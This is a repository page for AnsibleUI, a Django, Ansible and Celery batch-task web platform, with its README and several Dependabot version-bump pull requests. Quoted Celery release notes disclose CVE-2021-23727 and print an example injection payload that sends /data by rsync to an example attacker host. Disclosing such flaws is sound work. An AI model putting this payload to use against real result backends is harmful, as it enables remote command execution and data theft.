Django + Ansible + Celery 的WEB平台,用以批量处理任务

lotus-dgas, updated 🕥 2022-12-08 11:06:09

AnsibleUI

介绍

AnsibleUI 是基于Django + Ansible + Celery 的Web平台,用以批量的任务异步处理

Gitee 地址:https://gitee.com/lwr_dgas/AnsibleUI

软件架构

软件架构说明 * Ansible使用公私钥登录进行主机操作

该项目在实验楼上有开发教程,地址为 https://www.shiyanlou.com/courses/1380

Demo 地址 www.ansibleui.cn admin:12345678 , demo 未启动 Celery 进程,请勿添加任务

安装教程

  • Ansible使用私钥进行登录操作,私钥文件位置:files/id_rsa,或者在ansible.cfg中修改
  • Docker集群部署,启动端口 10089
    • docker-compose build
    • docker-compose up
  • 手动部署
    • 安装 Python 环境,开发环境版本为 Python 3.7.6
    • 安装相关pagkage pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple -r requirements.txt
    • 配置相关参数 tools/config.py,包括redis、mysql,Ansible/settings.py 文件可修改 DATABASES 使用sqlite3
    • 为数据库建表,python3 manage.py makemigrations && python3 manage.py migrate
    • 在代码目录下启动Celery,celery -A myCelery worker -l info,可参看myCelery.py文件尾注释部分
    • 启动主服务,python3 manage.py runserver 0.0.0.0:10089
  • 服务启动
    • 启动celery,请设置 export PYTHONOPTIMIZE=1, 否则 celery 将无法调用 ansible
    • Celery启动,celery multi start 1 -A myCelery -l info -c4 --pidfile=tmp/celery_%n.pid -f logs/celery.log
    • 主程序启动,uwsgi --http 0.0.0.0:10098 --module ansible_ui.wsgi --py-autoreload=1 --static-map=/static=static --daemonize=logs/uwsgi.log

配置项

tools/config.py ansible 远程连接用户 Redis 存放Celery MySQL

使用说明

  1. 需外部提供MySQL和Redis,参数在tools/config.py内修改 QQ群:929411662,群名称:AnsibleUI

群二维码

UI 效果图

Issues

Bump certifi from 2020.6.20 to 2022.12.7

opened on 2022-12-08 11:06:08 by dependabot[bot]

Bumps certifi from 2020.6.20 to 2022.12.7.

Commits


Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) - `@dependabot use these labels` will set the current labels as the default for future PRs for this repo and language - `@dependabot use these reviewers` will set the current reviewers as the default for future PRs for this repo and language - `@dependabot use these assignees` will set the current assignees as the default for future PRs for this repo and language - `@dependabot use this milestone` will set the current milestone as the default for future PRs for this repo and language You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/lotus-dgas/AnsibleUI/network/alerts).

Bump paramiko from 2.4.2 to 2.10.1

opened on 2022-03-29 21:58:04 by dependabot[bot]

Bumps paramiko from 2.4.2 to 2.10.1.

Commits
  • 286bd9f Cut 2.10.1
  • 4c491e2 Fix CVE re: PKey.write_private_key chmod race
  • aa3cc6f Cut 2.10.0
  • e50e19f Fix up changelog entry with real links
  • 02ad67e Helps to actually leverage your mocked system calls
  • 29d7bf4 Clearly our agent stuff is not fully tested yet...
  • 5fcb8da OpenSSH docs state %C should also work in IdentityFile and Match exec
  • 1bf3dce Changelog enhancement
  • f6342fc Prettify, add %C as acceptable controlpath token, mock gethostname
  • 3f3451f Add to changelog
  • Additional commits viewable in compare view


Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) - `@dependabot use these labels` will set the current labels as the default for future PRs for this repo and language - `@dependabot use these reviewers` will set the current reviewers as the default for future PRs for this repo and language - `@dependabot use these assignees` will set the current assignees as the default for future PRs for this repo and language - `@dependabot use this milestone` will set the current milestone as the default for future PRs for this repo and language You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/lotus-dgas/AnsibleUI/network/alerts).

Bump ipython from 7.5.0 to 7.16.3

opened on 2022-01-21 20:01:06 by dependabot[bot]

Bumps ipython from 7.5.0 to 7.16.3.

Commits


Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) - `@dependabot use these labels` will set the current labels as the default for future PRs for this repo and language - `@dependabot use these reviewers` will set the current reviewers as the default for future PRs for this repo and language - `@dependabot use these assignees` will set the current assignees as the default for future PRs for this repo and language - `@dependabot use this milestone` will set the current milestone as the default for future PRs for this repo and language You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/lotus-dgas/AnsibleUI/network/alerts).

Bump celery from 4.3.0 to 5.2.2

opened on 2022-01-06 22:37:45 by dependabot[bot]

Bumps celery from 4.3.0 to 5.2.2.

Release notes

Sourced from celery's releases.

5.2.2

Release date: 2021-12-26 16:30 P.M UTC+2:00

Release by: Omer Katz

  • Various documentation fixes.

  • Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

    When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data [email protected]:~/data") by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data [email protected]:~/data as the exception arguments like so:

    {
          "exc_module": "os",
          'exc_type': "system",
          "exc_message": "rsync /data [email protected]:~/data"
    }
    

    According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.

v5.2.1

Release date: 2021-11-16 8.55 P.M UTC+6:00

Release by: Asif Saif Uddin

  • Fix rstrip usage on bytes instance in ProxyLogger.
  • Pass logfile to ExecStop in celery.service example systemd file.
  • fix: reduce latency of AsyncResult.get under gevent (#7052)
  • Limit redis version: <4.0.0.
  • Bump min kombu version to 5.2.2.
  • Change pytz>dev to a PEP 440 compliant pytz>0.dev.0.

... (truncated)

Changelog

Sourced from celery's changelog.

5.2.2

:release-date: 2021-12-26 16:30 P.M UTC+2:00 :release-by: Omer Katz

  • Various documentation fixes.

  • Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

    When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data [email protected]:~/data") by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data [email protected]:~/data as the exception arguments like so:

    .. code-block:: python

      {
            "exc_module": "os",
            'exc_type': "system",
            "exc_message": "rsync /data [email protected]:~/data"
      }
    

    According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.

.. _version-5.2.1:

5.2.1

:release-date: 2021-11-16 8.55 P.M UTC+6:00 :release-by: Asif Saif Uddin

  • Fix rstrip usage on bytes instance in ProxyLogger.
  • Pass logfile to ExecStop in celery.service example systemd file.
  • fix: reduce latency of AsyncResult.get under gevent (#7052)
  • Limit redis version: <4.0.0.
  • Bump min kombu version to 5.2.2.

... (truncated)

Commits


Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) - `@dependabot use these labels` will set the current labels as the default for future PRs for this repo and language - `@dependabot use these reviewers` will set the current reviewers as the default for future PRs for this repo and language - `@dependabot use these assignees` will set the current assignees as the default for future PRs for this repo and language - `@dependabot use this milestone` will set the current milestone as the default for future PRs for this repo and language You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/lotus-dgas/AnsibleUI/network/alerts).

Bump ansible from 2.9.2 to 4.2.0

opened on 2021-09-23 23:27:00 by dependabot[bot]

Bumps ansible from 2.9.2 to 4.2.0.

Commits


Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) - `@dependabot use these labels` will set the current labels as the default for future PRs for this repo and language - `@dependabot use these reviewers` will set the current reviewers as the default for future PRs for this repo and language - `@dependabot use these assignees` will set the current assignees as the default for future PRs for this repo and language - `@dependabot use this milestone` will set the current milestone as the default for future PRs for this repo and language You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/lotus-dgas/AnsibleUI/network/alerts).

Bump django from 3.0.1 to 3.1.13

opened on 2021-09-22 17:59:05 by dependabot[bot]

Bumps django from 3.0.1 to 3.1.13.

Commits
  • 43873b9 [3.1.x] Bumped version for 3.1.13 release.
  • 0bd57a8 [3.1.x] Fixed CVE-2021-35042 -- Prevented SQL injection in QuerySet.order_by().
  • 8dc1cc0 [3.1.x] Added stub release notes for 3.1.13.
  • 1471ec4 [3.1.x] Fixed docs header underlines in security archive.
  • 6022181 [3.1.x] Added CVE-2021-33203 and CVE-2021-33571 to security archive.
  • 064c0c5 [3.1.x] Post-release version bump.
  • 625d3c1 [3.1.x] Bumped version for 3.1.12 release.
  • 203d4ab [3.1.x] Fixed CVE-2021-33571 -- Prevented leading zeros in IPv4 addresses.
  • 20c67a0 [3.1.x] Fixed CVE-2021-33203 -- Fixed potential path-traversal via admindocs'...
  • aa8781c [3.1.x] Confirmed release date for Django 3.1.12, and 2.2.24.
  • Additional commits viewable in compare view


Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) - `@dependabot use these labels` will set the current labels as the default for future PRs for this repo and language - `@dependabot use these reviewers` will set the current reviewers as the default for future PRs for this repo and language - `@dependabot use these assignees` will set the current assignees as the default for future PRs for this repo and language - `@dependabot use this milestone` will set the current milestone as the default for future PRs for this repo and language You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/lotus-dgas/AnsibleUI/network/alerts).